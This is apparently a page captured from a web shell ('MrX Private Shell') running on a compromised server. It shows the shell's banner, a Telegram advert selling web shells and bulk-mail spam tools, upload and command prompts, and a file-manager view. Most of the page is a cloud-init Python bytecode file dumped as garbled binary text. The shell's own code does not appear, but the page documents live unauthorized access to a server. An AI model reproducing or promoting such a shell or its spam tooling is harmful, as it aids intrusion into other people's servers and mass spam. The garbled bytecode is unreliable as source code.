__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

x[h$��(�SrSSKrSSKrSSKrSSKrSSKJr SSKJ	r	 SSK
JrJr SSK
Jr SrSrS	r\R$"\5r"S
S\5r\"S5r"S
S5r"SS\5rSSjr\R6S4SjrSr"SS5rSrg)z�
events for reporting.

The events here are designed to be used with reporting.
They can be published to registered handlers with report_event.
�N)�List)�performance)�available_handlers�instantiated_handler_registry)�ReportingHandler�finish�start�	cloudinitc��\rSrSrSrSrg)�_nameset�c�,�X;aU$[SU-5e)Nz%s not a valid value)�AttributeError)�self�names  �</usr/lib/python3/dist-packages/cloudinit/reporting/events.py�__getattr__�_nameset.__getattr__ s���<��K��3�d�:�;�;��N)�__name__�
__module__�__qualname__�__firstlineno__r�__static_attributes__rrrrrs��<rr)�SUCCESS�WARN�FAILc�2�\rSrSrSr\S4SjrSrSrSr	g)�ReportingEvent�)z"Encapsulation of event formatting.Nc�p�XlX lX0lX@lUc[R"5nXPlg�N)�
event_typer�description�origin�time�	timestamp)rr$rr%r&r(s      r�__init__�ReportingEvent.__init__,s/��%���	�&�������	�	��I�"�rc�d�SRURURUR5$)z"The event represented as a string.z
{0}: {1}: {2})�formatr$rr%�rs r�	as_string�ReportingEvent.as_string<s*���%�%��O�O�T�Y�Y��(8�(8�
�	
rc�v�URURURURURS.$)z&The event represented as a dictionary.�rr%r$r&r(r1r-s r�as_dict�ReportingEvent.as_dictBs3���I�I��+�+��/�/��k�k����
�	
r)r%r$rr&r()
rrrr�__doc__�DEFAULT_EVENT_ORIGINr)r.r2rrrrr r )s��,�$��
#� 
�
rr c�V^�\rSrSr\R
S4U4SjjrSrU4SjrSr	U=r
$)�FinishReportingEvent�MNc�>�[[U][X5 X0lUc/nX@lU[;a[SU-5eg)NzInvalid result: %s)�superr7r)�FINISH_EVENT_TYPE�result�
post_files�status�
ValueError)rrr%r<r=�	__class__s     �rr)�FinishReportingEvent.__init__NsO���	�"�D�2��t�	
������J�$������1�F�:�;�;� rc�z�SRURURURUR5$)Nz{0}: {1}: {2}: {3})r,r$rr<r%r-s rr.�FinishReportingEvent.as_string[s0��#�*�*��O�O�T�Y�Y����T�5E�5E�
�	
rc�>�[[U]5nURUS'UR(a[UR5US'U$)z'The event represented as json friendly.r<�files)r:r7r2r<r=�_collect_file_info)r�datar@s  �rr2�FinishReportingEvent.as_dict`s>����)�4�8�:������X���?�?�.�t���?�D��M��r)r=r<)rrrrr>rr)r.r2r�
__classcell__)r@s@rr7r7Ms ���(.���4�<�
�
�rr7c�8�U(d0n[RR5VVs1sHup#X!;dMUiM nnn[[RR55nUH%n[
U5U;aMURU5 M' gs snnf)a�Report an event to all registered event handlers
except those whose type is in excluded_handler_types.

This should generally be called via one of the other functions in
the reporting module.

:param excluded_handler_types:
     List of handlers types to exclude from reporting the event to.
:param event_type:
    The type of the event; this should be a constant from the
    reporting module.
N)r�registered_items�items�listr�values�type�
publish_event)�event�excluded_handler_types�	hndl_type�hndl_cls�excluded_handler_classes�handlers�handlers       r�report_eventrXis���"�!#��$6�#F�#F�#L�#L�#N� �#N��I��.�	�#N�� �(,�%�6�6�=�=�?�(�H�����=�4�4�����e�$��� s
�B�Bc�,�[XX#S9n[U5$)zNReport a "finish" event.

See :py:func:`.report_event` for parameter details.
�r=)r7rX)�
event_name�event_descriptionr<r=rQs     r�report_finish_eventr]�s ��
!��v�
�E����rc�8�[[X5n[U5$)aReport a "start" event.

:param event_name:
    The name of the event; this should be a topic which events would
    share (e.g. it will be the same for start and finish events).

:param event_description:
    A human-readable description of the event that has occurred.
)r �START_EVENT_TYPErX)r[r\rQs   r�report_start_eventr`�s��
�+�Z�K�E����rc���\rSrSrSrSSS\RS4SjrSrSr	Sr
\S5r\RS	5r\S
5r\RS5rSrS
rSrg)�ReportEventStack�a�Context Manager for using :py:func:`report_event`

This enables calling :py:func:`report_start_event` and
:py:func:`report_finish_event` through a context manager.

:param name:
    the name of the event

:param description:
    the event's description, passed on to :py:func:`report_start_event`

:param message:
    the description to use for the finish event. defaults to
    :param:description.

:param parent:
:type parent: :py:class:ReportEventStack or None
    The parent of this event.  The parent is populated with
    results of all its children.  The name used in reporting
    is <parent.name>/<name>

:param reporting_enabled:
    Indicates if reporting events should be generated.
    If not provided, defaults to the parent's value, or True if no parent
    is provided.

:param result_on_exception:
    The result value to set if an exception is caught. default
    value is FAIL.

:param post_files:
    Can hold filepaths of files that are to get posted/created
    regarding a given event. Something like success or failure information
    in a given log file. For each filepath, if it's a valid regular file
    it will get: read & encoded as base64 at the close of the event.
    Default value, if None, is an empty list.
Nc�B�X@lXlX lX0lX`l[
RUlUc/nXplUcU(a
URnOSnXPl	U(a#SRURU45UlOURUl0Ulg)NT�/)
�parentrr%�message�result_on_exceptionr>rr<r=�reporting_enabled�join�fullname�children)rrr%rgrfrirhr=s        rr)�ReportEventStack.__init__�s������	�&����#6� ��n�n������J�$���$��$*�$<�$<�!�$(�!�!2����H�H��O�O����D�M�!�I�I�D�M���
rc�\�SUR<SUR<SUR<S3$)NzReportEventStack(z, z, reporting_enabled=�))rr%rir-s r�__repr__�ReportEventStack.__repr__�s%���I�I�����"�"�
�	
rc��[RUlUR(a [	UR
UR5 UR(a#SURRUR'U$)N)NN)
r>rr<rir`rkr%rfrlrr-s r�	__enter__�ReportEventStack.__enter__�sN���n�n����!�!��t�}�}�d�.>�.>�?��;�;�.:�D�K�K� � ����+��rc��[R[R4H?nURR	5Hunup4X1:XdMX0R
4s s $ MA URUR
4$r#)r>rrrlrLrgr<)r�cand_result�_name�value�_msgs     r�_childrens_finish_info�'ReportEventStack._childrens_finish_infos_��"�K�K����5�K�(,�
�
�(;�(;�(=�$��}���'�!�<�<�0�0�)>�6����T�\�\�*�*rc��UR$r#)�_resultr-s rr<�ReportEventStack.results���|�|�rc�@�U[;a[SU-5eXlg)Nz'%s' not a valid result)r>r?r}�rrxs  rr<r~s ������6��>�?�?��rc�L�URbUR$UR$r#)�_messager%r-s rrg�ReportEventStack.messages"���=�=�$��=�=� ����rc��Xlgr#)r�r�s  rrgr�s���
rc�`�U(aURUR4$UR5$r#)rhrgrz)r�excs  r�_finish_info�ReportEventStack._finish_infos)����,�,�d�l�l�;�;��*�*�,�,rc��URU5upEUR(a$XE4URRUR'UR(a [URXTURS9 gg)NrZ)r�rfrlrrir]rkr=)r�exc_type�	exc_value�	tracebackr<�msgs      r�__exit__�ReportEventStack.__exit__!sZ���)�)�)�4�
���;�;�/5�m�D�K�K� � ����+��!�!���
�
�s�t���
�"r)r�r}rlr%rkrgrrfr=rir<rh)rrrrr4r>rr)rprsrz�propertyr<�setterrgr�r�rrrrrbrb�s���$�T���"�K�K��%�N
��+������]�]����
� �� �

�^�^����-�rrbc��U(dg/nUH�n[RRU5(dSnOi[R"SU35 [US5n[R"UR55R5nSSS5 SSS5 URUWSS.5 M� U$!,(df   N1=f!,(df   N:=f)NzReading �rb�base64)�path�content�encoding)�osr��isfiler�Timed�openr��	b64encode�read�decode�append)rE�ret�fnamer��fps     rrFrF+s�����
�C����w�w�~�~�e�$�$��G��"�"�X�e�W�#5�6���t�9�� �*�*�2�7�7�9�5�<�<�>��9�6�	�
�
�E�g�8�L�M���J�9�9��6�6�s$�
C�3B;�C�;
C	�C�
C	r#) r4r��logging�os.pathr�r'�typingrr
r�cloudinit.reportingrr�cloudinit.reporting.handlersrr;r_r5�	getLoggerr�LOG�setrr>r r7rXrr]r`rbrFrrr�<module>r�s���
������!��:�����"��
����!��<�s�<�
�-�	.��!
�!
�H�>��8%�@+1�.�.�T�
��E�E�P
r

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 1.82 KB 0644
events.cpython-313.pyc File 12.19 KB 0644
handlers.cpython-313.pyc File 20.75 KB 0644
Filemanager